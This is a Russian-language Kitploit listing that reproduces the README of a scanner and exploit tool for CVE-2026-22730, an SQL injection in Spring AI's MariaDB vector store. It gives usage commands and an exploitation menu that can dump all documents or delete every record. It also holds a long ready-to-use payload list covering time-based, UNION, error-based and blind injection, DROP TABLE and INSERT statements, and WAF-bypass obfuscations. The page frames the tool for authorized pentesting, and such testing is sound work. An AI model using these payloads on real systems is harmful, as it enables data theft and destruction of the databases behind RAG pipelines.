Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-22730-Scanner — Сканер и эксплойт-инструмент для CVE-2026-22730, SQL-инъекции в векторном хранилище MariaDB в Spring AI. Поддерживает обнаружение на основе времени, методы GET/POST и эксплуатацию с формированием отчётов. | Kitploit
Инструменты/GitHubGitHub/null200ok/cve-2026-22730-scanner
Сканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubnull200ok/cve-2026-22730-scanner

CVE-2026-22730-Scanner

Сканер и эксплойт-инструмент для CVE-2026-22730, SQL-инъекции в векторном хранилище MariaDB в Spring AI. Поддерживает обнаружение на основе времени, методы GET/POST и эксплуатацию с формированием отчётов.

Репозиторий
226 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Сканер и эксплойт CVE-2026-22730 – SQL-инъекция в MariaDB Vector Store Spring AI

Python Version
License
Status

Профессиональный инструмент для оценки безопасности CVE-2026-22730 – критической уязвимости SQL-инъекции, обнаруженной в MariaDB vector store фреймворка Spring AI. Этот инструмент позволяет авторизованным специалистам по пентесту и исследователям безопасности обнаруживать и безопасно эксплуатировать уязвимость в образовательных или защитных целях.

📖 Обзор

CVE-2026-22730 затрагивает версии Spring AI 1.0.x < 1.0.4 и 1.1.x < 1.1.3 при использовании MariaDB vector store. Из-за некорректного экранирования строковых значений в выражениях фильтров злоумышленник может внедрить произвольный SQL через контролируемые пользователем параметры (например, фильтры метаданных). Это может привести к:

Несанкционированному получению данных – обходу контроля доступа на основе метаданных

Полному удалению базы данных – уничтожению всего vector store (разрушительное воздействие)

Тихой утечке данных – в RAG-конвейерах утёкшие данные включаются в ответы LLM без обнаружения

Этот инструмент предоставляет безопасный, настраиваемый метод для проверки наличия уязвимости и демонстрации её воздействия (с явного согласия) во время авторизованных оценок безопасности.

🚀 Возможности

✅ Обнаружение на основе времени – использует инъекцию SLEEP() для подтверждения уязвимости

✅ Несколько HTTP-методов – поддерживает GET (параметры запроса) и POST (JSON-тело)

✅ Настраиваемая длительность задержки – адаптация под сетевую задержку или требования скрытности

✅ Варианты эксплуатации – получение всех документов (SELECT) или удаление всех (DELETE)

✅ Комплексная отчётность – создаёт отчёты в форматах HTML, JSON и обычного текста

✅ Удобный CLI – интерактивный режим и полные аргументы командной строки

✅ Расширяемая система полезных нагрузок – лёгкая интеграция пользовательских строк инъекций

📋 Требования

Python 3.6 или выше

Библиотека requests (pip install requests)

🔧 Установка

bash git clone https://github.com/NULL200OK/cve-2026-22730-scanner.git

cd cve-2026-22730-scanner

📖 Использование

Скрипт можно запускать в интерактивном режиме или с аргументами командной строки.

Базовый синтаксис

bash

python cve-2026-22730_scanner.py [options]

Параметры

Параметр Описание

--url Целевой URL (например, http://localhost:8081/api/docs)

--method HTTP-метод: GET или POST (по умолчанию: GET)

--param Имя параметра запроса для GET или имя ссылки для POST (необязательно)

--json-template JSON-шаблон с заполнителем PAYLOAD (обязательно для POST)

--baseline Безопасное значение для базового запроса (по умолчанию: несуществующее)

--sleep Секунды задержки для обнаружения на основе времени (по умолчанию: 5)

Примеры

  1. GET-запрос (параметр запроса)

bash

python cve-2026-22730_scanner.py --url "http://localhost:8081/api/docs" --method GET --param "department"

  1. POST-запрос с JSON-телом

bash

python cve-2026-22730_scanner.py --url "http://localhost:8081/api/search" --method POST --json-template '{"department": "PAYLOAD"}'

  1. Пользовательское время задержки и базовое значение

bash

python cve-2026-22730_scanner.py --url "http://example.com/search" --param "filter" --sleep 10 --baseline "HR"

  1. Интерактивный режим

bash

python cve-2026-22730_scanner.py

Вам будет предложено указать URL, метод, параметр/JSON-шаблон, базовое значение и время задержки.

Процесс эксплуатации

Если цель уязвима, скрипт отображает меню:

text

[?] Цель уязвима. Выберите вариант эксплуатации:

root@kitploit:~
1. Получить все документы (инъекция SELECT)

2. Удалить все документы (инъекция DELETE) - РАЗРУШИТЕЛЬНО

3. Пропустить эксплуатацию

Вариант 1 отправляет ' OR '1'='1 для получения всех строк (неразрушающе, только чтение данных).

Вариант 2 отправляет ту же полезную нагрузку с использованием HTTP-метода DELETE – навсегда удаляет все записи. Требует явного подтверждения.

Все действия регистрируются и включаются в итоговый отчёт.

📁 Выходные файлы

После каждого запуска в текущем каталоге создаются три файла с отметкой времени:

cve-2026-22730_YYYYMMDD_HHMMSS.json – машиночитаемый JSON-отчёт со всеми деталями.

cve-2026-22730_YYYYMMDD_HHMMSS.txt – текстовое резюме, включая данные эксплуатации, если таковые имеются.

cve-2026-22730_YYYYMMDD_HHMMSS.html – форматированный HTML-отчёт, подходящий для обмена или архивирования.

⚠️ Важное предупреждение

Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей.

Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным и неэтичным.

Автор не несёт ответственности за неправильное использование или ущерб, причинённый этим программным обеспечением.

Всегда получайте письменное разрешение перед сканированием или эксплуатацией любой цели.

📚 Ссылки

GitHub Security Advisory GHSA‑c267‑rfvc‑mvpm

Spring Security Advisory AV26‑245

Оригинальная исследовательская статья от SecureLayer7

🤝 Вклад в проект

Приветствуются pull request'ы, отчёты об ошибках и предложения по функциям. Пожалуйста, сначала откройте issue для обсуждения крупных изменений.

📄 Лицензия

Этот проект лицензирован под MIT License – подробности см. в файле LICENSE.

Разработано с ❤️ Nabeel

Пример для PYLOAD

Для сообщества специалистов по безопасности

📌 Как использовать эти полезные нагрузки

В скрипте при использовании POST с --json-template замените PAYLOAD на любую полезную нагрузку из списка ниже.

Для GET-запросов просто передайте полезную нагрузку как значение параметра (скрипт автоматически обрабатывает URL-кодирование).

🔥 Категории полезных нагрузок

  1. Обнаружение / на основе времени

Они вызывают задержку, если инъекция успешна. Используйте их для подтверждения уязвимости.

Полезная нагрузка Описание

' OR SLEEP(5) -- Стандартная полезная нагрузка на основе времени. Если запрос приостанавливается на ~5 секунд, инъекция работает.

' OR BENCHMARK(10000000,MD5('a')) -- Альтернатива для MySQL/MariaDB (BENCHMARK).

' OR (SELECT * FROM (SELECT(SLEEP(5)))a) -- Вложенный sleep для обхода некоторых фильтров.

' OR 1=1 AND SLEEP(5) -- Комбинирует условие всегда-истинно с задержкой.

  1. Обход аутентификации / получение всех строк

Они делают условие WHERE всегда истинным, возвращая все записи.

Полезная нагрузка Описание

' OR '1'='1 Классическая инъекция всегда-истинно.

' OR 1=1 -- Другой вариант (требуется пробел после --).

' OR ''=' Основана на сравнении пустых строк.

' OR 1=1# Использует # для комментария MariaDB (URL-кодируется как %23).

' OR 1=1 LIMIT 1 -- Возвращает только одну строку (полезно для контролируемого вывода)

  1. Извлечение данных на основе UNION

Полезно, когда приложение отображает результаты. Вам нужно сопоставить количество столбцов.

Полезная нагрузка Описание

' UNION SELECT NULL, database(), user(), version() -- Получение имени базы данных, пользователя, версии. (Настройте количество NULL под количество столбцов.)

' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database() -- Список таблиц.

' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='vector_store' -- Список столбцов.

' UNION SELECT 1, content, metadata FROM vector_store -- Выгрузка фактических данных (если количество столбцов совпадает).

  1. Извлечение на основе ошибок

Вызывает ошибки, которые раскрывают информацию.

Полезная нагрузка Описание

' AND extractvalue(1, concat(0x7e, database())) -- На основе ошибок MariaDB/MySQL.

' AND updatexml(1, concat(0x7e, version()), 1) -- Другой метод на основе ошибок.

' OR 1 GROUP BY concat(database(), floor(rand(0)*2)) HAVING min(0) -- Ошибка дублирующего ключа.

  1. На основе булевых значений (слепая)

Полезно, когда нет вывода или ошибок, но поведение приложения меняется.

Полезная нагрузка Описание

' AND (SELECT ascii(substring(database(),1,1))) > 64 -- Проверяет первый символ имени базы данных.

' AND (SELECT COUNT(*) FROM information_schema.tables) > 10 -- Проверяет количество таблиц.

' OR (SELECT 1 FROM users LIMIT 1) = 1 -- Проверяет существование таблицы.

  1. Операции записи / удаления

Разрушительные полезные нагрузки (используйте с особой осторожностью).

Полезная нагрузка Описание

' OR '1'='1 При использовании с DELETE удаляет все строки.

' OR 1=1; DROP TABLE vector_store -- Пытается удалить всю таблицу (требует составных запросов, часто отключено).

' OR 1=1; INSERT INTO vector_store (content) VALUES ('hacked') -- Пытается вставить новые данные.

  1. Обход фильтров / WAF

Обфусцированные версии для обхода простого сопоставления с образцом.

Полезная нагрузка Описание

%27%20OR%20SLEEP(5)%20-- URL-кодированная (скрипт обрабатывает это автоматически).

' //OR//SLEEP(5)/**/-- Встроенные комментарии для разбивки ключевых слов.

' OR 0x273d27=0x273d27 -- Сравнение в шестнадцатеричном коде ('=').

' OR 1=1 /!50000SLEEP(5)/ -- Комментарий, специфичный для версии MySQL.

  1. Конкретные полезные нагрузки из рекомендаций CVE

Полезная нагрузка Описание

' OR '1'='1 Используется для получения всех документов (доказательство концепции).

' OR SLEEP(5) -- Полезная нагрузка обнаружения на основе времени, используемая в сканере.

' OR '1'='1 Также используется для инъекции DELETE.

📝 Примеры JSON-шаблонов с полезной нагрузкой

json

{"department": "' OR SLEEP(5) --"}

{"department": "' OR '1'='1"}

{"department": "' UNION SELECT 1, content, metadata FROM vector_store --"}

В скрипте вы передадите шаблон следующим образом:

bash

--json-template '{"department": "PAYLOAD"}'

Скрипт заменит PAYLOAD на фактическую полезную нагрузку.

ПРИМЕЧАНИЕ о URL

Скрипту требуется полный URL конечной точки, которая принимает уязвимый параметр. Например:

✅ http://example.com/api/docs – если конечная точка /api/docs

✅ http://example.com/search – если конечная точка /search

❌ http://example.com – недостаточно, скрипту нужен точный путь

Скачать инструмент